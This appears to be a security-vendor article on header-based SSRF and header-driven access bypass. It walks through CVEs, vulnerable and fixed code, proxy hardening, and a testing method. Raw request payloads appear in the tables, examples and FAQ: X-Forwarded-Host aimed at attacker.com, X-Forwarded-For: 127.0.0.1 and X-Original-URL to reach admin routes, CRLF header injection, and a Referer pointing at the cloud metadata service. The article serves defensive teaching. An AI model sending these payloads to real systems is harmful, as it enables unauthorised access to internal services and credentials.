Exploits server-trusted HTTP headers (X-Forwarded-For, Host, X-Forwarded-Host) to redirect outbound requests to attacker-controlled destinations.
TL;DR
X-Forwarded-Host causes outbound SSRF request\r\n in header value injects arbitrary headers into downstream requestsX-Original-URL, X-Rewrite-URL, X-Forwarded-For: 127.0.0.1Header-based SSRF exploits HTTP headers that contain hostname or URL values consumed server-side. Instead of a URL parameter, the attack vector is the request header itself — specifically headers designed for proxy traversal and routing that expose internal URLs when trusted blindly.
Two distinct sub-categories exist with different exploit mechanics and impact profiles:
Sub-category A — True SSRF (OOB-confirmed): The injected header value causes the server or framework to make an HTTP request to an attacker-controlled URL. The request can be confirmed via OOB callback (Burp Collaborator, Interactsh DNS/HTTP hit). CVE-2026-27739 (Angular SSR) is the canonical 2026 example.
Sub-category B — Access Bypass (differential-confirmable): The injected header tricks the server into treating the incoming request as originating from localhost or a privileged IP, bypassing IP-based access controls. No outbound request is made — the server itself serves the protected resource. X-Forwarded-For: 127.0.0.1 is the canonical example.
Both sub-categories are in scope under CWE-918 and OWASP A10:2021 because both exploit the server's trusted network position. True SSRF is typically more severe (arbitrary internal network access); access bypass is more consistent (works even when egress is restricted).
The vulnerable Node.js pattern:
// VULNERABLE — trusts X-Forwarded-Host for server-side fetch
app.get('/dashboard', async (req, res) => {
// Framework reads header for SSR context
const host = req.headers['x-forwarded-host'] || req.headers['host'];
// Attacker injects X-Forwarded-Host: attacker.com
const config = await fetch(`http://${host}/api/config`);
return res.render('dashboard', { config: await config.json() });
});// SAFE — hardcoded internal service URL
const INTERNAL_API_BASE = process.env.INTERNAL_API_URL; // e.g. "http://api-svc:8080"
app.get('/dashboard', async (req, res) => {
const config = await fetch(`${INTERNAL_API_BASE}/api/config`);
return res.render('dashboard', { config: await config.json() });
});| Header | CVE | Frameworks | CVSS | Confirmation |
|---|---|---|---|---|
X-Forwarded-Host: attacker.com | CVE-2026-27739 | Angular SSR, Astro, Symfony, Django, Next.js SSR | 9.2 | OOB HTTP callback |
Forwarded: for=127.0.0.1;host=attacker.com;proto=http | CVE-2026-32762 | Rack, Ruby on Rails | HIGH | OOB HTTP callback |
Host: attacker.com | — | Various reverse proxies, SSR frameworks | HIGH | OOB HTTP callback |
X-Pingback: http://attacker.com/ | — | WordPress XMLRPC | HIGH | OOB HTTP callback |
Referer: http://169.254.169.254/ | — | Analytics backends, link trackers | MEDIUM | Differential response |
| Header | Value | Bypass target | Frameworks |
|---|---|---|---|
X-Original-URL | /admin/secret | IP-restricted admin routes | IIS/ARR, Symfony, Drupal, ASP.NET |
X-Rewrite-URL | /admin/secret | IP-restricted admin routes | Symfony, Drupal |
X-Forwarded-For | 127.0.0.1 | Localhost-only endpoints | Express trust proxy, Spring, 1Panel |
X-Custom-IP-Authorization | 127.0.0.1 | Custom IP middleware | Application-specific |
X-Real-IP | 127.0.0.1 | Nginx $realip_remote_addr | Nginx upstream |
X-Client-IP | 127.0.0.1 | Various | Apache mod_remoteip |
The access bypass attack:
# Target: internal admin panel accessible only from 127.0.0.1
# Without bypass:
GET /admin/users HTTP/1.1
Host: target.com
# → 403 Forbidden (IP check: client is 203.0.113.5, not 127.0.0.1)
# With X-Original-URL bypass:
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin/users
# → 200 OK (server routes to /admin/users, X-Original-URL overrides)
# With X-Forwarded-For bypass:
GET /admin/users HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
# → 200 OK (framework sees "remote IP" as 127.0.0.1, grants admin access)When header values are reflected into downstream HTTP requests without CRLF sanitization, an attacker can inject arbitrary headers:
# Injected webhook header name (CVE-2025-6454 pattern)
Header-Name: value\r\nX-Internal-Auth: bypass\r\nHost: metadata.internal
# Results in the downstream request containing:
Header-Name: value
X-Internal-Auth: bypass
Host: metadata.internalGitLab's webhook custom header feature (CVE-2025-6454, CVSS 8.5) injected arbitrary headers into outbound webhook requests by placing \r\n in header name fields. The resulting injected Host: 169.254.169.254 header caused proxy-based deployments to route the webhook request to the IMDS endpoint.
CVE-2026-27739 — Angular SSR (CVSS 9.2) — Angular's server-side rendering engine reads the X-Forwarded-Host header when constructing URLs for internal API fetches. The header is consumed without validation, causing the framework to make an HTTP request to http://<injected-host>/api/config. This is an outbound true SSRF — confirmed via OOB callback. Critical severity because Angular SSR is widely deployed in enterprise Next.js-adjacent stacks, and the internal API URL construction is a framework-level pattern.
CVE-2026-32762 — Rack (Ruby on Rails) (HIGH) — The Forwarded HTTP header (RFC 7239) in Rack-based applications was processed server-side to construct upstream request URLs. The host= parameter in the Forwarded header value caused the application to make outbound requests to the injected host. Rails and Sinatra applications using ActionDispatch::RemoteIp were affected.
CVE-2025-6454 — GitLab CE/EE (CVSS 8.5, CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) — GitLab's webhook custom header feature (introduced in 16.11) allowed CRLF injection in header name fields. Developer+ users could forge arbitrary HTTP headers in all outbound webhook requests. In proxy-based environments, injected Host: headers re-routed webhook traffic to internal services. Fixed in GitLab 18.1.6, 18.2.6, 18.3.2.
CVE-2024-40898 — Apache HTTP Server (HIGH, Windows) — mod_rewrite rules in server context on Windows failed to restrict outbound requests. Crafted requests forced the server to connect to arbitrary SMB shares via UNC path handling, triggering automatic Windows NTLM authentication — leaking NetNTLM hashes to the attacker for offline cracking or relay attacks. Bounty: HackerOne #2123113, $4,920 from the Internet Bug Bounty.
The access bypass variants (X-Forwarded-For, X-Original-URL) are frequently tested and patched individually. However, novel header combinations — particularly in newer SSR frameworks — continue to introduce true SSRF through header-to-outbound-request pipelines. Test both sub-categories independently.
Add the following headers to every request targeting the application:
X-Forwarded-Host: <burp-collaborator-id>.oastify.comX-Forwarded-For: 127.0.0.1Host: <burp-collaborator-id>.oastify.com (add second Host header)X-Original-URL: /adminReferer: https://<burp-collaborator-id>.oastify.com/Check Burp Collaborator for DNS/HTTP interactions after each request.
For access bypass testing, add X-Forwarded-For: 127.0.0.1 to requests returning 403 and observe if the response changes to 200. Compare content length and body between the original and injected request.
For CRLF injection, test header values with embedded %0d%0a sequences:
X-Custom-Header: value%0d%0aX-Injected: bypassFor redirect-based true SSRF, test X-Forwarded-Host on pages that use server-side rendering or make internal API calls.
# True SSRF test — check Collaborator for HTTP callback
GET /api/dashboard HTTP/1.1
Host: target.example.com
X-Forwarded-Host: attacker.oastify.com
# Access bypass test — compare responses
GET /admin/panel HTTP/1.1
Host: target.example.com
X-Forwarded-For: 127.0.0.1
# CRLF injection test
POST /api/webhook/create HTTP/1.1
Content-Type: application/json
{"name": "test\r\nX-Internal: admin", "url": "https://legitimate.com"}BreachVex's header-injection detection tests both sub-categories with FP prevention: baseline stability requires multiple samples at the same status before testing; response reflection is treated as low-confidence (an injected value echoed in the body is likely server-side reflection, not an outbound fetch); CDN status codes 421, 451, 521-526 are excluded; a minimum body-delta threshold filters noise. OOB-type headers (X-Forwarded-Host) require an active out-of-band callback channel — without it, the probe is skipped to avoid false positives.
# VULNERABLE — X-Forwarded-Host controls outbound fetch
def get_dashboard_config(request):
host = request.headers.get("X-Forwarded-Host") or request.headers.get("Host")
config = requests.get(f"http://{host}/api/config") # SSRF
return config.json()
# SAFE — hardcoded internal service URL from environment
INTERNAL_CONFIG_API = os.environ["INTERNAL_CONFIG_API_URL"] # e.g., "http://config-svc:8080"
def get_dashboard_config(request):
config = requests.get(f"{INTERNAL_CONFIG_API}/api/config")
return config.json()import re
def sanitize_header_value(value: str) -> str:
"""Strip CRLF sequences from header values — prevents header injection."""
return re.sub(r'[\r\n]', '', value)
# Apply to all user-supplied header values before forwarding
def forward_webhook(webhook_headers: dict, payload: bytes) -> None:
sanitized = {
sanitize_header_value(k): sanitize_header_value(v)
for k, v in webhook_headers.items()
}
requests.post(webhook_url, data=payload, headers=sanitized)# Nginx — strip forwarded headers from untrusted sources
# Only accept X-Forwarded-For from known upstream proxies
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8; # trusted internal range only
set_real_ip_from 172.16.0.0/12;
real_ip_recursive on;
# Clear X-Forwarded-Host before passing to backend
proxy_set_header X-Forwarded-Host "";// Express — configure trust proxy explicitly, never trust Host header for fetches
app.set('trust proxy', '10.0.0.0/8'); // only trust known proxy IPs
// Never use req.hostname for outbound requests — it reads Host/X-Forwarded-Host
const INTERNAL_API = 'http://api.internal:8080'; // hardcodedThe access bypass pattern (X-Forwarded-For: 127.0.0.1 granting admin access) is a server-side logic flaw, not a network-level issue. Fixing it requires removing all trust in forwarded headers for access control decisions. IP-based access control for admin endpoints should use the actual socket remote address, never headers that clients can control.
Header-based SSRF occurs when an HTTP request header containing a hostname or URL is consumed server-side and causes an outbound HTTP request to an attacker-controlled destination. The most impactful variant uses X-Forwarded-Host to control the Host header in proxied internal requests, causing frameworks to fetch from attacker.com instead of the intended internal service.
The primary headers are: X-Forwarded-Host (controls proxied Host header), Host (virtual host routing), X-Forwarded-For (IP spoofing for admin access bypass), X-Original-URL and X-Rewrite-URL (URL override in IIS/Symfony/Drupal), Referer (fetched by analytics/logging systems), and X-Pingback (WordPress XMLRPC callback URL).
CVE-2026-27739 (CVSS 9.2) affects Angular SSR. The framework processes the X-Forwarded-Host header when constructing internal API URLs for server-side rendering. An attacker injects X-Forwarded-Host: attacker.com causing Angular SSR to make an HTTP request to http://attacker.com/api/config instead of the legitimate internal endpoint. Confirmed via OOB callback.
CRLF injection embeds carriage return (\r) and line feed (\n) characters into header values. When a header value is reflected into a downstream HTTP request, the injected CRLF sequence terminates the current header and inserts new arbitrary headers. CVE-2025-6454 (GitLab) used CRLF injection in webhook custom header names to insert headers including Host: metadata.internal into outbound webhook requests.
True header SSRF (Sub-category A) causes the server to make an HTTP request to an attacker-controlled URL, confirmed via OOB callback. Access bypass (Sub-category B) uses headers like X-Forwarded-For: 127.0.0.1 or X-Original-URL: /admin to trick the server into treating the request as originating from localhost, bypassing IP-based access controls — no outbound request is made.
Many frameworks expose admin endpoints accessible only from localhost (127.0.0.1). Some trust the X-Forwarded-For header when behind a proxy. Injecting X-Forwarded-For: 127.0.0.1 causes the framework to treat the request as originating from localhost, granting admin access. Express trust proxy, Spring's RemoteAddr resolution, and 1Panel are known affected frameworks.
HTTP 421 (TLS/SNI mismatch), 451 (geo/legal block), and 521-526 (Cloudflare backend error) should be excluded from SSRF differential analysis. Cloudflare error pages carry 250-500 bytes of noise that can trigger false body-length differences. Baseline stability requires 3 samples with the same status code before testing injected headers.
Analytics systems, logging infrastructure, and link-tracking platforms fetch the Referer URL server-side to categorize referral sources or capture screenshots. An attacker sets Referer: http://169.254.169.254/latest/meta-data/ in a request to a page tracked by such a system. The analytics backend fetches the Referer URL from its server context, reaching the metadata service.